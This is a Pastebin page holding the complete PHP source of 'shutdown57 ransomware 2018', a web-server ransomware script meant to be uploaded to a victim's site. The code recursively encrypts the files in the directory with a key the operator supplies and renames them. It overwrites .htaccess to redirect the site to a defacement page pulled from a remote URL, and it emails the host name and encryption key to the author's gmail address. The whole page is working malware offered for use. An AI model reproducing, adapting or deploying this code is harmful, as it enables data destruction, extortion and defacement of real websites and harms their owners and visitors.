API tools faq
paste
Advertisement
shutdown57

shutdown57 ransomware 2018

shutdown57
Jan 27th, 2018
2,239
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.60 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. /*
  3. * +--------------------------+
  4. * |shutdown57 ransomware 2018|
  5. * +--------------------------+
  6. *
  7. * SAVE WITH THE NAMEs57rsw.php
  8. * Note :: you must save or upload this file to the target with the file name "s57rsw.php", in order to be safe.
  9. * NOTE :: you must save or upload this file to the target with the file name "s57rsw.php", in order to be safe.
  10. */
  11. error_reporting(0);
  12. set_time_limit(0);
  13. ini_set('memory_limit', '-1');
  14.  
  15. Class shutdown57_rsw{
  16.     public $msg = "https://pastebin.com/raw/a8qaDbu7"; # URL yang akan mengubah tampilan , atau bisa di isi langsung dengan script base64.
  17.     public $report_to = "indonesianpeople.shutdown57@gmail.com"; # report ransomware;
  18.     public function __construct()
  19.     {?>     <!DOCTYPE html>
  20.         <html>
  21.         <head>
  22.             <title>shutdown57 ransomware v2.</title>
  23.             <meta charset="utf-8">
  24.             <meta name="author" content="shutdown57">
  25.             <meta name="description" content="shutdown57 ransomware">
  26.             <style type="text/css">html,body{background: #000;color: #eee;text-align: center;}input,select{color: #eee;background: #000;padding: 6px;border:1px solid #f00;}a{color:#f00;text-decoration:none}a:hover{text-decoration: underline;color: #eee}</style>
  27.         </head>
  28.         <body><br/><br/><br/><br/><br/><br/>
  29.             <fieldset style="max-width: 800px;margin: 0 auto;box-shadow: 0px 0px 20px #f00"><legend>shutdown57 ransomware V2</legend>
  30. <pre>     _           _      _                     ____ _____
  31.  ___| |__  _   _| |_ __| | _____      ___ __ | ___|___  |
  32. / __| '_ \| | | | __/ _` |/ _ \ \ /\ / / '_ \|___ \  / /
  33. \__ \ | | | |_| | || (_| | (_) \ V  V /| | | |___) |/ /  
  34.  |___/_| |_|\__,_|\__\__,_|\___/ \_/\_/ |_| |_|____//_/    
  35. +
  36. +---- [ indonesianpeople.shutdown57@gmail.com ] ----+
  37.  
  38. STATUS : <?=(is_writable($this->locate())) ? "<font color=lime>RANSOMABLE</font>" : "<font color=red>UNRANSOMABLE</font> on ";echo " on ".$this->locate()."<br>"; ?>
  39. S57RSW : <?=(file_exists('.hts57rsw')) ? "<font color=lime>THIS SERVER INFECTED S57RSW</font>" : "<font color=red>THIS SERVER STILL SECURE FROM S57RSW</font>";?>
  40. </pre><?php
  41.         if(empty($_POST['opt']) && empty($_POST['key'])){
  42.         ?>
  43.  
  44.         <form method="post">
  45.             <label>Input key ::</label>
  46.             <input type="text" name="key" placeholder="enter key" style="width: 250px" required="">
  47.             <select name="opt">
  48.                 <option>- s57rsw -</option>
  49.                 <option value="e">encrypt</option>
  50.                 <option value="d">decrypt</option>
  51.             </select>
  52.         <input type="submit" value=">>">
  53.         </form>
  54.         <?php
  55.     }else{
  56.         echo "[ <a href='?'>Back </a>] <br>";
  57.         $opt = $_POST['opt'];
  58.         $key = $_POST['key'];
  59. switch ($opt) {
  60.    case 'e':
  61.       $this->s57runrsw($this->locate(),'e',$key);
  62.    break;
  63.    case 'd':
  64.      $this->s57runrsw($this->locate(),'d',$key);
  65.    break;
  66. }
  67.     }
  68.     ?>  </fieldset>
  69.         </body>
  70.         </html><?php
  71.     }
  72.     public function s57init()
  73.     {
  74.         if(!file_exists('.hts57rsw'))
  75.         {if(file_exists('.htaccess')){
  76.             rename('.htaccess','.hts57rsw');
  77.         }else{
  78.             touch('.htaccess');
  79.             rename('.htaccess','.hts57rsw');
  80.         }
  81.             $fp = fopen('.htaccess','w');
  82.             $htc ="# shutdown57 ! [ encrypted at ".date('D , d M Y H:i:s')." ]\r\nDirectoryIndex shutdown57.php\r\nErrorDocument 404 /shutdown57.php";
  83.             fwrite($fp,$htc);
  84.             echo ".... Manipulating <i><b>.htaccess</b></i> DONE .... <br>";
  85.         }
  86.         if(preg_match("/^http/",$this->msg))
  87.         {
  88.             $msg = file_get_contents($this->msg);
  89.         }else{
  90.             $msg = base64_decode($this->msg);
  91.         }
  92.         if(file_put_contents('shutdown57.php',$msg))
  93.         {
  94.             echo ".... Manipulating <i><b>Index & Change display of page</b></i>  DONE .... <br>";
  95.         }
  96.     }
  97.     public function s57unit()
  98.     {
  99.         if(file_exists('.hts57rsw'))
  100.         {
  101.             if(unlink('.htaccess') && unlink('shutdown57.php'))
  102.             {
  103.                 echo ".... Restore <i><b>.htaccess</b></i> DONE .... <br>";
  104.                 echo ".... Restore <i><b>Index files</b></i> DONE ....<br>";
  105.             }
  106.             rename('.hts57rsw','.htaccess');
  107.         }
  108.     }
  109.     public function s57ended($npy,$method){
  110.       switch ($method) {
  111.         case 'e':
  112.           rename($npy, $npy.".shutdown57");
  113.         break;
  114.         case 'd':
  115.           $npys = str_replace(".shutdown57", "", $npy);
  116.           rename($npy, $npys);
  117.         break;
  118.       }
  119.    }
  120.       public function enkontol($key,$pwd){
  121.       $data = file_get_contents($pwd);
  122.       $iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC),MCRYPT_DEV_URANDOM);
  123.       $encrypted = base64_encode($iv.mcrypt_encrypt(MCRYPT_RIJNDAEL_128,hash('sha256',$key,true),$data,MCRYPT_MODE_CBC,$iv));
  124.       if(file_put_contents($pwd,$encrypted )){
  125.          echo "[<font color=lime>LOCKED</font>][".date('d:m:Y')."] => ".$pwd." <br>";
  126.       }else{
  127.          echo "[<font color=red>FAILED</font>][".date('d:m:Y')."] => ".$pwd." <br>";
  128.       }
  129.    }
  130.    public function dekontol($key,$pwd){
  131.       $data = base64_decode( file_get_contents($pwd) );
  132.       $iv = substr($data, 0, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC));
  133.       $decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128,hash('sha256', $key, true),substr($data, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)),MCRYPT_MODE_CBC,$iv),"\0");
  134.       if(file_put_contents($pwd,  $decrypted )){
  135.         echo "[<font color=lime>UNLOCKED</font>][".date('d:m:Y')."] => ".$pwd." <br>";
  136.       }else{
  137.         echo "[<font color=red>--FAILED</font>][".date('d:m:Y')."] => ".$pwd." <br>";
  138.       }
  139.    }
  140.    public function kecuali($ext,$name){
  141.         $re = "/({$name})/";
  142.         preg_match($re, $ext, $matches);
  143.         if($matches[1]){
  144.             return false;
  145.         }
  146.             return true;
  147.      }
  148.    public function s57runrsw($dir,$method,$key)
  149.    { switch ($method) {
  150.           case 'e':
  151.             $this->s57init();
  152.           break;
  153.           case 'd':
  154.            $this->s57unit();
  155.           break;
  156.         }
  157.         $s = scandir($dir);
  158.         foreach($s as $d)
  159.         {
  160.             if($d!='.' && $d!='..')
  161.             {
  162.                 $locate = $dir.DIRECTORY_SEPARATOR.$d;
  163.                 if(!is_dir($locate)){
  164.                    if($this->kecuali($locate,"s57rsw.php")&&
  165.                     $this->kecuali($locate,".png")  &&
  166.                     $this->kecuali($locate,".htaccess")  &&
  167.                     $this->kecuali($locate,"shutdown57.php") &&
  168.                      $this->kecuali($locate,"index.php") &&
  169.                      $this->kecuali($locate,".hts57rsw") ){
  170.                      switch ($method) {
  171.                         case 'e':
  172.                            $this->enkontol($key,$locate);
  173.                            $this->s57ended($locate,'e');
  174.                         break;
  175.                         case 'd':
  176.                            $this->dekontol($key,$locate);
  177.                            $this->s57ended($locate,'d');
  178.                         break;
  179.                      }
  180.                    }
  181.                 }else{
  182.                   $this->s57runrsw($locate,$method,$key);
  183.                 }
  184.             }
  185.             $this->plus();
  186.         }
  187.         $this->report($key);
  188.     }
  189.        public function report($key){
  190.         $message.= "=========     Report Ransomware    =========\n";
  191.         $message.= "Server    : ".$_SERVER['HTTP_HOST']."\n";
  192.         $message.= "Key       : ".$key."\n";
  193.         $message.= "Encrypted : ".date('D , d M Y H:i:s')."\n";
  194.         $message.= "========= Indonesian (2018) Ransomware =========\n";
  195.         $subject = "[RANSOMWARE][".$_SERVER['HTTP_HOST']."]";
  196.         $headers = "From: s57rsw <ransomeware@shutdown57.today>\r\n";
  197.         mail($this->report_to,$subject,$message,$headers);
  198.    }
  199.      public function plus(){
  200.       flush();
  201.       ob_flush();
  202.    }
  203.    public function locate(){
  204.         return getcwd();
  205.     }
  206. }
  207.  
  208. new shutdown57_rsw();
  209.  ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!